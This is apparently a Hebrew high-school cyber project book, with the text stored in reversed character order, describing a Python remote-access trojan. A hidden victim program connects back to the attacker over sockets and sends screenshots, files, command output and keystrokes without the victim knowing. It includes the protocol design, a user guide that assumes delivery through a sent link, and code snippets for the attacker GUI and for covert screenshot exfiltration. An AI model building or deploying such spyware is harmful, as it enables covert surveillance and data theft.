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 אובמ
 .ישיא םוכיסו חתפמל ךירדמ ,שמתשמל ךירדמ ,טקיורפה הנבמ תא ליכמ הז טקיורפ רפס
 ךיא יבגל תויוטבלתה הברה יל היה ,דובעא וילע טקיורפל אשונ רוחבל יתשקבתהש הלחתהב
 .ותוא שממל
 שממל לכואש הריחבה אל איה תאז הריחבש יתנבה לבא קחשמ תושעל יתיצר הלחתהב
 אשונ תא תונשל ףוסבל יתטלחה יל ורזעש םישנא םע תוצעייתה ירחא ןכל הבוט יכה הרוצב
 בשחממ םיצבקו ךסמ ימוליצ ,תונומת ,רמוח תחיקלב קסועה טקיורפ רוצילו ילש טקיורפה
 .ףקתנו ףקות - תשר תרושקת תרזעב עדי בשחמה לעבש ילב
 
 ועדיש ילב רחא בשחממ רמוח תחקל םיחילצמ ךיא יתניינעתה דימת יכ הז טקיורפב יתרחב
  .דבוע הז ךיא ןיבא ידכ ךותו תאז תושעל הסנאש יתרמא ןכלו

 הלעפה תוכרעמ ,תותשר תרזעב - רבייסב יתשכרש עדיה תרזעב יתשמימ ילש טקיורפה תא
 .הקיפרגו

 לע היהת היינשהו ףקותה בשחמ לע היהתש תחא ,דוק תוינכות יתש יתרצי ילש טקיורפב
 .ףקתנה בשחמ
 לש בשחמהמ עדימ תחקל חילצהל איהש ,יתרטמל עיגהל יתחלצה ולא דוק תוינכות תרזעב
 .ךכ לע עדי אוהש ילב ףקתנה
 

  :םה יתדדומתה םתיא םייזכרמה םירגתאה
 אוצמלו טנרטניאב קודבל הכירצ יתייה הז ליבשבו יתדמל אלש רמוח םג טקיורפל ףיסוהל ךיא
 תא טנרטניאב יתשפיחש ךכב ילש ישוקה תא יתרתפ ןכלו טקיורפל יל ורזעיש תולועפו םידוק
 .וכרד םישדח םירבד יתדמלו הכירצ יתייהש המ
 יתייה ןכלו הנשה ךלהמב הקיפרגב הברה יתקסע אל יכ רגתא התוויה םג הקיפרגה ףסונב
 .ילש טקיורפה רובע הקיפרג רוצילו קסעתהל ךיא טנרטניאהמ דומלל הכירצ
 יכה הרוצב טקיורפה תא יתמלשהו וללה םירגתאה םע רדתסהל יתחלצה רבד לש ופוסב
 .הבוט
 
 לכואש אשונו טקיורפל ןיינעמ ןויער הארנ היה הז יכ ילש טקיורפה לש הז אשונב יתרחב
 .תיבטימ יכה הרוצב ותוא תושעל
 עיגה הילאש תיפוסה האצותה לע יתבשחש ללגב טקיורפה לע דובעל היצביטומ יל היה
 .ימצע תוחוכב ילש עדיה תרזעב
 .דבוע הז טקיורפ ךיא ריבסאו ייגשיה תאו יתדובע ךילהת תא גיצא ינא הז רפסב ,םוכיסל
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 הנבמ
 הצור ףקותה .ףקתנה אוה ינשהו ףקות אוה דחאהש דוק יעטק ינשב קסוע ילש טקיורפה
 עדיה תרזעב ילש דוקה תא יתבתכ ינאו ותעידי ילב ףקתנה לש בשחמהמ עדימ תחקל
 .הלעפה תוכרעמו Tkinter יפרג קשממ ,תותשר תרזעב ףסונבו ןותייפב תונכתב יתשכרש
 עדימ תחקל םילוכי םיפקות ךיא תעדל יתוא ןיינע דימת יכ טקיורפה לש הז אשונב יתרחב
 תוטשפב עדימב תחיקל תא עצבל רשפאש יתיליג הז טקיורפ תרזעבו םירחא לש םיבשחממ
 .ילש טקיורפב יתישעש ומכ

 :טקיורפה לש הרוטקטיכראה

 בשחמה לע אצמנש דוקהש ךכ socket תרזעב םירבוחמ ףקתנהו ףקותה ילש דוקה יעטקב
 אל ףקתנהש ךכ ,ףקותה בשחמ לש  ip-ה תרזעב ףקותה לש בשחמל רבחתמ ףקתנה לש
 .בשחמהמ עדימ ול םיחקולו רחא בשחמ םע רוביח שיש הזל עדומ
 לש השקבה תא הרזח תחלושו תעצבתמ ףקתנה לש בשחמל חלוש ףקותהש הדוקפ לכ
 וא בשחמהמ עדימ ול םיחקולש עדוי אל ףקתנהש ךכ תועצבתמ תולועפה לכ .ףקותה
 .וילא םירבוחמש

 :ךכ עצבתמ הז

 אוה עדימ הזיא( socketה תרזעב עצבל הצור אוהש הדוקפה םש תא ףקתנל חלוש ףקותה
  )ףקתנה לש בשחמהמ הצור

 תא חלושו ולש בשחמה לע תאזה הלועפה תא עצבמו הדוקפה םש תא לבקמ ףקתנה
 תרושקתהו socketה תרזעב וילא הרזחב שקיב ףקותהש עדימב – הדוקפה לש האצותה
 .םהינב

 

          

 הדוקפ       

      

 שקובמה עדימה         

       

 

 

 

 

 

  

 ףקתנ      

  

 ףקות      
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  :דוקה יעטקב םיטלקהו םיטלפה

 ףקותה .1
a. רותפכ לע הציחל תרזעב ,עצבל הלועפ הזיא לש הריחב שי ףקותל :טלק 

 הדוקפה תחילש תעצבתמ ותריחב תטילק רחאל .עצבל הצור אוהש הלועפה
 .ףקתנה בשחמל ףקותה בשחמ ןיב רשקה תרזעב ףקתנל
 הזיא רוחבל ידכ ץחל אוה רותפכ הזיא לש טלק אוה ינושארה טלקה זא
 .עצבל הצור אוה הלועפ
 
  :טלק יתת םג ויה תואבה תולועפב

i. Receive file: אוה ביתנ הזיאמ תעדל ידכ ףקותהמ טלק שקבתמ 
 .ףקתנהמ ץבוק תחקל הצור

ii. Find a path: בשחמב םייק ביתנ הזיא אוצמל ידכ טלק שקבתמ 
 .ףקתנה

iii. Run command: הלועפ הזיא תעדל ידכ ףקותהמ טלק שקבתמ 
 .ףקתנה בשחמ לש cmdה לע עצבל הצור אוה
 

b. חלשש הדוקפה תאצות םצעב םה ףקותה דוקב םימייקש םיטלפה :טלפ 
 תא תשרה ךרד ףקותל חלוש ףקתנה בשחמ רמולכ ,ףקתנה בשחמל ףקותה
 .ףקותה שקיבש עדימה
 לבקמ אוהש אוה ינושה ךא ףקתנה לש םיטלפל םיהז ףקותה לש םיטלפה
 יכ טלפה תואצות ועיפוי אל ףקתנה בשחמבו socketה ךרד ולש טלפה תא
 עיפוי אל טלפה ןכל ולש בשחמהמ עדימ חקול ףקותהש עדוי אל ףקתנה
 .ףקותה לש ךסמה לע עיפויו ףקותל חלשי אוה לבא ףקתנל
 

 ףקתנה .2
a. ךרד רבוע ףקתנה לש טלקהש קר ףקותה טלקל ההז ףקתנה טלק :טלק 

 לע עצבל ףקותה הצור התוא הדוקפה םש הז ולש טלקה ןכלו socketה
 ךרד רבוע טלקה הלא טלקה תא סינכמ אל ומצע ףקתנה ךא ףקתנה בשחמ
 .עדומ אוהש ילב עקרב הצר ףקתנה לש תינכותה לכו תשרה
 

b. לש האצותה אוה הז טלפ ,ףקותה טלפל ההז אוה םג ףקתנה טלפ :טלפ 
 ותוא עדימה אוה םצעב טלפה ,רמולכ .עצבל ףקותה הצור התוא הדוקפה
 בשחמה לע טלפה תא האור אל ףקתנה ךא socketה ךרד לבקמ ףקותה
 ןכל ולש בשחמה לע עצבתמש המל עדומ אל אוהו עקרב הצר תינכותה ולש
 םשו ףקותה בשחמל תשרב רובעי הלא ףקתנה בשחמ לע עיפוי אל טלפה
 .ףקותה בשחמ ךסמ לע טלפכ עיפוי
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 :אוה ילש טקיורפב שומיש השענ םהב םינותנ הנבמ

 תארקנש המישר הכירצ יתייה Tkinter יפרג קשממה תרזעב ךסמה תא תונבל ידכ .1
items_to_destroy תא הב הליכמש label ךסמה לע שדחמ רוצילו סורהל ךירצש. 

 תא רוציל ידכ תאז המישרב תורזענש תולועפ 2ב םיימעפ שומיש תאז המישרב שי
  .ינפל היהש המ תא סורדל םוקמב שדחמ ךסמב קלחה

 :תשר תרוטקטיכרא

 : תרושקתה ילוקוטורפ .1
 
a. ףקתנל ףקותה ןיב עדימה תרבעהל תרושקת לוקוטורפ יתננכת טקיורפב. 

 זא תשרה ךרד ףקתנה בשחממ עדימה רבוע רשאכש ךכל גאודש לוקוטורפ
 חלשי עדימה .הלודג איה עדימה תומכ םימעפלש תורמל ואולמב עיגי עדימהש
 .ןורחאה קלחה והז יכ ףקותל תותיא ףסוותי ןורחאה קלחבו םיקלחב
 
 לש עובק לדוגב עדימה תא ףקתנהמ תלבקמ ינאש ילש דוקב יתעבק ,רמולכ

 םאש ךכל יתגאד תרושקתה לוקוטורפ תרזעב לבא הטקפ לכב םיתב 1024
 ינא ףקותה דצב .םיקלחב חלשי אוה זא םיתב 1024-מ לודג רתוי היהי עדימה
 ףרוצמ היהי זא עיגמ עדימה לש ןורחאה קלחה רשאכ .עדימה תא רבחל תגאוד
 ךכ .עדימה לכ תא חולשל םייס אוהש רמוא הזש  "I have finished" ףוסב
 .ףקותל עיגמ עדימה לכ יכ אדוומו דבוע לוקוטורפה
 
  :אמגודל
 
          "Screenshot" 
 
         Screenshot.png  
     
     "I have finished"     
 
 

 :תולועפהמ המכב לוקוטורפ דוע םייק הז תרושקת לוקוטורפל ףסונב 

b. אוה םגו טקיורפב תומייקה תולועפהמ המכב אצמנה לוקוטורפ אוה הז לוקוטורפ 
 .ףקתנל ףקותה ןיב תרושקת תרבעהב רזוע
 הדוקפה תרזעב ףקתנהמ עדימה תא שקבמ ףקותהש עגרבש ךכ לעופ אוה
 םוקימה תא לבקל ןכומ אוהש הרזחב העדוה חלוש ףקתנה זא וילא חלוש אוהש
 בשחמ לע עצבל ףקותה הצור התוא הדוקפה תא / ץבוקה תא הצור אוה ונממש
  .ףקתנה
 :טקיורפב תולועפ 3 -ב לעופ הז לוקוטורפ

i. Run command() 
ii. Find a path() 
iii. Receive file() 

  

 ףקות      

  

 ףקתנ      
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        םש תא ףקתנל חלוש ףקותה הלחתהב  Run command הלועפב ,אמגודל      
 הלועפה םשל ןכומ אוהש העדוה ול חלוש ףקתנה זאו עצבל הצור אוהש הדוקפה      
 ןיבמ הדוקפה םש ןיב לובלב ןיא הז לוקוטורפ תרזעבו עצבל הצור אוה התואש      
 .עצבל הצור אוהש הלועפה םשל תושעל הצור אוהש תויצפואה      

 

  :תפסונ אמגוד

           "Run_command" 

             "I am ready for the command"   

                       Command 

                      Command result       

 

 

 

 :חוקל - תרש .2
 

 ףקותה אוה תרשה
 ףקתנה אוה חוקלהו

 יכ ףקותה בשחמל רבחתי ףקתנה בשחמ ןכל ףקתנה לש ipה המ עדוי אל ףקותה 
 .תולקב םהינב רבחל רשפא יהיו עודי ףקותה לש ipה 
 

 

 

 

 

 

 

 

 

 

 

  

 ףקתנ      

  

 ףקות      
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case Use: 

 בשחממ תחקל הצרנש ץבוקה לש pathה תא אצמנ ()find_a_path היצקנופה תרזעב
 .ץבוקה תא הצרנ הנממ הייקיתה לש pathה תא ונל ריזחת היצקנופה .ףקתנה
 לש קתעה לבקנו ונאצמש pathה תא חלשנו ()receive_file הלועפה תא ליעפנ ןכמ רחאל
 .ףקתנה בשחממ וניצרש ץבוקה

 

        " Directory_list"               

        Directory name 

    Directory path      

 

 

 

 

                      "Get_file" 

         Directory path 

     Copy of the file   

 

 

 

 

 

 

 

 

  

                           ףקות      
  

 ףקתנ      

  

                           ףקות      
  

 ףקתנ      
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 :שמתשמל  ךירדמ
 :windowsב ףקתנ רובע
 ךכב תבשחתמ ינא טקיורפב .קילק לבאד ידי לע חתפיו exe ץבוק רותב היהי ףקתנה דוק
 ול וחלשש קניל ךרד ותוא חתפ אוה יכ וילע אצמנ אוהו ףקתנה בשחמ לע חתפנ רבכ דוקהש
 .תרחא ךרד וא
 :windowsב ףקותה רובע
 .דוקה םע דובעל ידכ pythonב שמתשי ףקותהו python ץבוק היהי ףקותה דוק
 :) Mac, Linux ( הלעפהה תוכרעמ ראשב ףקתנה רובע
 אצמנ דוקה יכ החינמ ינא הז הרקמב םג .קילק לבאדב חתפיש הצרה ץבוק היהי ףקותה דוק
 .תרחא ךרדב וא חתפ אוהש קניל ךרד וב הנבומו ףקתנה בשחמ לע
 :) Mac, Linux ( הלעפהה תוכרעמ ראשב ףקותה רובע
 .דוקה םע דובעלו וליעפהל ידכ pythonב ושמתשיו python ץבוק היהי ףקותה דוק 

 .עדימ ונממ תחקלו רחא בשחמ ףוקתל הצורש ףקותה אוה ילש שמתשמה
 ןתיש ןולח חתפי ותרזעבש Tkinter לש יפרג קשממ תרזעב היהי ףקותה בשחמ לע הגוצתה
 לש ונוצר יפכ ףקתנה בשחמ לע תולועפה תא עצביו תולועפ לש םירותפכ ןיב הריחב ףקותל
 ףקותה

 :לעופ ףקותה ךיא

 



 ףקתנו ףקות/ןמלק גומלא

]10[ 
 

 .הנומתב םיאורש ומכ ךסמ חתפנ דוקה תא ץירמ ףקותהש עגרבש תוארל רשפא הנומתב
 בותכו ףקתנה בשחמ לע עצבל לוכי אוהש תולועפ לש תויצפוא לש םירותפכ 6 ול שי זאו
 הצור אוהש הלועפה לש רותפכ לע ץוחלל ,רמולכ לבקל הצור אוהש המ לע ץחליש הלעמל
 .ףקתנה בשחמ לע עצבל
 לע ץוחלל ךירצ אוהו עצבל הצור אוה הלועפ הזיא 6-ה לכ ןיבמ הריחב לש היצפוא שי ףקותל
 .הצור אוהש הלועפה רותפכ
 

 : 1 אמגוד

 

 תחקולש הלועפ איהש( Get Screenshot וילע בותכש רותפכב רחב ףקותהש רחאל
Screenshot לש העדוה ול עיפומ )ףקתנה בשחמ לש Getting Screenshot… ןכמ רחאלו  

 בשחמ לש ךסמה םוליצ תא אוצמל ףקותה לכוי ולש בשחמב םוקימ הזיאב לש העדוה עיפומ
 .ףקתנה
 תולועפ דוע רוחבל לוכי ףקותהו לועפל ךישממ דוקה ךסמה םוליצ תא שקיב ףקותהש רחאל
 תא גישהש רחאל ותלועפ תא םייסלו ףקתנה םע רוביחה תא רצועש רותפכב רחוב אוהש דע
 .הצרש עדימה לכ

 םוקימב אצמנ ןכאש ךסמ םוליצה לש םוקימה תא ןימי דצמ תוארל רשפא הלעמל הנומתב
 .לאמש דצמ ךסמב בותכש

 



 ףקתנו ףקות/ןמלק גומלא

]11[ 
 

 :2 אמגוד

 

 שקבתמ הז רותפכב רחב אוהש רחאל Receive file הלועפה רותפכב רחב ףקותה הנומתב
 .ףקתנה בשחממ קיתעהל הצור אוהש ץבוקה לש םוקימה תא סינכהל ףקותהמ
 ידכ send רותפכ לע ץוחלל ךירצ אוה הביתכה תביתל םוקימה תא סינכמ ףקותהש רחאל
 ךסמה לע עיפוי רותפכה לע ץחל אוהש רחאל .ץבוקה תא הצור אוה ונממ םוקימה תא חולשל
 רחאלו בשחמל וילא רבעומו קתעומ ץבוקה יכ ול העידומש .…Receiving file  לש העדוה
 וילאש ולש בשחמב םוקימה תא ול תרמואש ךסמה לע העדוה דוע ול עיפוי תוינש המכ
 .שקיב אוהש ץבוקה קתעוה
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 לע ול בותכש הייקיתה לש םוקימל ףקתנה בשחממ קתעויש שקיבש ץבוקה לש האצותה
  :ךסמה

 
 ןכאו קתעומה ץבוקה אצמנ הפיא בותכ הבש העדוהה תא תוארל רשפא לאמש דצמ הנומתב
 .לאמש דצב ךסמה לע בותכה םוקימל קתעומ רחבנה ץבוקה תא תוארל רשפא ןימי דצמ

 

 דע ןהמ דחא לכ עצבל לוכי אוהש םירותפכב תולועפ לש הריחב תויצפוא דוע שי ףקותל
 .ףקתנה בשחמו ולש בשחמה ןיב רוביחה תא רצועש רותפכה לע ץחלי אוהש
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 ךסמה לע ול עיפותש האצותה Stop The Connection לש רותפכה לע ץחול אוהש רחאל
 :ותשקב יפל קספנ רוביחהש העידומש תאזה העדוהה איה
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  :חתפמל  ךירדמ
 .שמתשמל ךירדמל הבחרה אוה הז ךירדמ
 לש תויצפואה תא ףקותל גיצהל ידכ Tkinter יפרג קשממב תשמתשמ ינא ילש טקיורפב
 .ףקתנה בשחמ לע עצבל רוחבל לוכי אוהש תולועפה

 :תולועפה תא ליעפהל ידכ יתשמתשה םהב םידוקה לש תואמגוד

 :הלועפה תא יתרצי Tkinterב ילש ךסמה תא רוציל ידכ

# function that getting a text and building the screen 
def  build_screen(text): 
    # destroy all the items on the screen to clear the screen 
    for child in root.winfo_children(): 
        child.destroy() 
 
    # building the screen again from the start 
    root.title("hello attacker") 
    root.geometry("800x900") 
 
    # creating the main label and placing it 
    label = Label(root, textvariable=var, relief=RAISED, padx=50, pady=10, 
font=("Courier", 44), bg='red') 
    var.set("WELCOME ATTACKER") 
    label.pack() 
     
    # creating the next label 
    label2 = Label(root, textvariable=var2, relief=RAISED) 
    var2.set("press what you want to get") 
    label2.pack() 
 
    # when the attacker press the button it will start another 
function(invoke_get_screenshot) 
    # making the button of get screenshot 
    B1 = Button(root, text="Get Screenshot", command=invoke_get_screenshot) 
    B1.pack() 
    B1.place(bordermode=OUTSIDE, height=50, width=150, x=100, y=250) 
 
    # when the attacker press the button it will start another 
function(invoke_receive_file) 
    # making the button of receive file 
    B2 = Button(root, text ="Receive File", command=invoke_receive_file) 
    B2.pack() 
    B2.place(bordermode=OUTSIDE, height=50, width=150, x=325, y=250) 
 
    # when the attacker press the button it will start another 
function(invoke_find_a_path) 
    # making the button of find a path 
    B3 = Button(root, text ="Find A Path", command=invoke_find_a_path) 
    B3.pack() 
    B3.place(bordermode=OUTSIDE, height=50, width=150, x=550, y=250) 
 
    # when the attacker press the button it will start another 
function(invoke_keylogger) 
    # making the button of keylogger 
    B4 = Button(root, text ="Keylogger", command=invoke_keylogger) 
    B4.pack() 
    B4.place(bordermode=OUTSIDE, height=50, width=150, x=100, y=350) 
 
    # when the attacker press the button it will start another 
function(invoke_run_command) 
    # making the button of run command 
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    B5 = Button(root, text ="Run Command", command=invoke_run_command) 
    B5.pack() 
    B5.place(bordermode=OUTSIDE, height=50, width=150, x=325, y=350) 
 
    # when the attacker press the button it will start another 
function(invoke_stop_connection) 
    # making the button of stop the connection 
    B6 = Button(root, text ="Stop The Connection", 
command=invoke_stop_connection) 
    B6.pack() 
    B6.place(bordermode=OUTSIDE, height=50, width=150, x=550, y=350) 
 
    # checking what the text(command) the function got and start another 
function that is doing the command(text) that   
    # sent as text 
    if text == "screenshot": 
        get_screenshot() 
    elif text == "receive_file": 
        receive_file() 
    elif text == "find_a_path": 
        find_a_path() 
    elif text == "keylogger": 
        keylogger() 
    elif text == "run_command": 
        run_command() 
    elif text == "stop_connection": 
        stop_connection() 
 
    root.mainloop() 
 

 איה תאז הלועפ .יפרגה קשממה תרזעב יתרציש ךסמה לש םשה אוה root הז דוקב
 םיצחולשכ שדחמ ותוא תרצויו ךסמה תא הקנמ םעפ לכ איה יכ ילש דוקב תירקיעה הלועפה
 .תולועפה ירותפכמ דחא לע

 ץוחלל רשפא היהיש ידכ buttons - ו תורתוככ labels יתרצי ינא הז דוק עטקב םיאורש יפכ
 .תויוצרה תולועפה תא עצבל ידכ םירותפכה לע

 םירותפכ דוע ףיסוהל רשפאו תורוש שולשב עצבל רשפאש הלק הלועפ איה button רוציל
 :ףסונב ךסמל

  ותוא םירצוי זאו רותפכה לש םש הנושארה הרושב
B6 = Button(root, text ="Stop The Connection", 

command=invoke_stop_connection)  
 םיירגוסב ףיסוהל היצפוא שי זאו ונרציש ךסמה םש תויהל ךירצ םיירגוסב ןושארה הנתשמה 

 .וילע םיצחולש הלועפ ליעפהלו רותפכה ךותב םישל טסקט רוחבל םינתשמ

 ךסמל רותפכה תא ףיסוהל םיגאוד היינשה הרושב
B6.pack() 

  .ךסמל רותפכה תא הדימצמש הלועפ

  ךסמב םיצור ונחנאש הפיא רותפכה תא םקמל םיגאוד הנורחאהו תישילשה הרושבו
B6.place(bordermode=OUTSIDE, height=50, width=150, x=550, y=350) 

 .ךסמה לע ולש םוקימה תא םגו רותפכה לש ךוראהו הובגה תא םיעבוק םיירגוסה ךותב
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 :איה ילש טקיורפהמ קלח איהש הלועפל אמגוד דוע ףסונב
 היצקנופב םג שמתשמו ולש ךסמ םוליצ ףקתנה בשחממ שקבמש ףקותה דוקמ אוה הז קלח
 .דוקב בותכש יפכ חלשנש םוקימב ץבוקכ ךסמ םוליצה תא תרמושש תפסונ

# getting a screenshot of the victim computer and saving it in the attacker 
computer 
def get_screenshot(): 
    t = int(time.time()) 
    victim_socket.send('Screenshot') 
    label = Label(root, textvariable=var5, relief=RAISED) 
    var5.set("Getting Screenshot.....") 
    label.pack() 
    label.place(bordermode=OUTSIDE, y=500, x=100) 
    root.update() 
    # using the copy_files function to save the screenshot in the attacker 
computer 
    copy_files(r'/Users/almogkalman/Documents/screenshots/screenshot' + 
str(t) + ".png")  
    var5.set(var5.get() + "\nThe Screenshot is in: 
/Users/almogkalman/screenshots/screenshot" + str(t) + ".png") 
 

 לע ספדומ ךסמ םוליצל השקב ףקתנה בשחמל תשרה ךרד םיחלושש רחאל הז דוק עטקב
 רמשנ אוה ובש םוקימה ול ספדומ ףוסב זאו ובשחמל עיגמ ךסמ םוליצה ףקותל העדוה ךסמה
 .ובשחמב

 

 ףקותל הרזחב חלושו ותעידי ילב ךסמ םלצמב ףקתנה דוקמ אוה הז קלח

if attacker_request == 'Screenshot': 
    im = ImageGrab.grab() 
    im.save(r'/Users/almogkalman/Downloads/screenshot.png') 
    image = open(r'/Users/almogkalman/Downloads/screenshot.png') 
    the_image = image.read() 
    victim_socket.send(the_image) 
    image.close() 
    victim_socket.send('i have finished') 
 

 םוליצ עצבתמ עיגמ ףקותהמ השקבהש עגרבו עקרב ץר דוקהש הז דוק עטקב תוארל רשפא
 .ףקותה בשחמל תיתרושקת רבעומ ךסמה םוליצו ךסמ

 

 : תולועפה ומכ הרוצ התואב תועצבתמש תולועפ דוע שי תאז הלועפל ףסונב
receive_file(), keylogger(), run_command() דועו..  

 ךסמה לע הרוצ התואב תוגצומו תשרה םע תרושקת ךרד תולעופ ולא תויצקנופ לכש
 .הספדהכ ומצע ךסמה לע תוגצומ תואצותה תולועפהמ קלחה
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 רותפכ ףיסוהל ליבשב .ףקתנב םגו ףקותב םג דוק בותכנ תויצקנופ דוע ףיסוהל ליבשב
 .ךירדמה תליחתב שמתשנ הגוצתה ךסמל םיאתמ

 

 

 

 

 היצקלפר
 ילש עדיה טקיורפה תא יתלחתהש הלחתהב .יליבשב רגתא התייה טקיורפה לע הדובעה
 קיפסא אל ינא יכ יתשגרה .םירסוח הברה םילשהל הכירצ יתייהו בוט ךכ לכ היה אל רמוחב
 ןמז הברה רחאל ךא .ותוא תושעל יתיצרש תיבטימה הרוצב אל ,טקיורפה תא תושעל
 .םיאתמה ןמזב הילא עיגהל יתיצרש האצותל עיגהל יתחלצה יכ יתיליג וילע יתדבעש
 
 םישנא םע הבר תוצעייתה רחאלו יליבשב תוטבלתה םג התייה ילש טקיורפה אשונ תריחב
 תא רוציל לכוא ינא ובש אשונה אוה ילש אשונהש הטלחהל יתעגה יב וכמתו יל ורזעש
 .הליעיו הבוט יכה ךרדב הלוכי ינאש בוט יכה טקיורפה
 רמוחה תא בוט רתוי ןיבהל יתלחתהו רפתשה רמוחב ילש עדיה טקיורפה תריצי ךלהמב
 רמוחמ םינושש םישדחו םיפסונ םירבד יתדמל םג דוקה תנבהל ףסונב ,תבתוכ ינאש דוקהו

 .הכ דע יתרכהש הממ תונשו תושדח תולועפ ילש טקיורפל יתפסוהו ליגרה דומילה

 ךרד דומלל ךיאו שדח רמוח םע תיאמצע תויהלו דבל דדומתהל ךיא יתדמל הז טקיורפ תוכזב
 .תותשרו ןותייפב ילש עדיה תא רישעהל יתחלצה םג ףסונב .טנרטניאה
 הרטמב קובדלו טנרטניאה תרזעב תימצעה הדימלה םה ךשמהל יתיא תחקול ינאש םילכה
 .השקש תורמל עצמאב שאייתהל אלו
 
 רובעל יתחלצהו םתיא דדומתהל הכירצ יתייהש תויעבו םיישק הברה יל ויה ךרדה ךלהמב
 .ילש תיפוסה האצותל עיגהלו םתוא
 תימצעו הכורא הדימל רחאל לבא יפרג קשממ תריצי אוה יל ויהש םיירקיעה םיישקה דחא
 .ילש דוקל ותוא ףיסוהלו יפרג קשממ רוציל יתחלצה
 ךיא יתדמל ךרדה ךלהמב ,םכרד עדימ תרבעהו תותשרה אוה יתדדומתה ותיאש ףסונ ישוק
 .ךירצש ומכ ילש דוקב הז תא בלשל ךיאו יוארכ םהב שמתשהל
 .ילש םירגתאהו םיישקה תא םג ללכ ילש דוקה הדובע הברה רחאל

 תגאודו בוט רתוי ילש ןמזה תא תננכתמ יתייה םויה ילש טקיורפה תא הליחתמ יתייה םא
 הרוצב ילש ןמזה תא תקלחמ יתייה ףסונב .םהב השק יל היהש םירבדב ןמז רתוי עיקשהל
 .רתוי הבוט

 יתייהו רתוי הליעי התייה טקיורפה לע ילש הדובעה רבייסב רתוי םידקמ עדי יל היה םא
 טקיורפה תא רוציל יתחלצה יל היהש טעומה עדיה םע ןיידע ךא םיישק תוחפב תלקתנ

 .יוארכ רוציל יתיצרש
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 .היילא עיגהל יתיצרש האצותל יתוא איבהו תובר יתוא דמיל הז טקיורפ םוכיסל

 


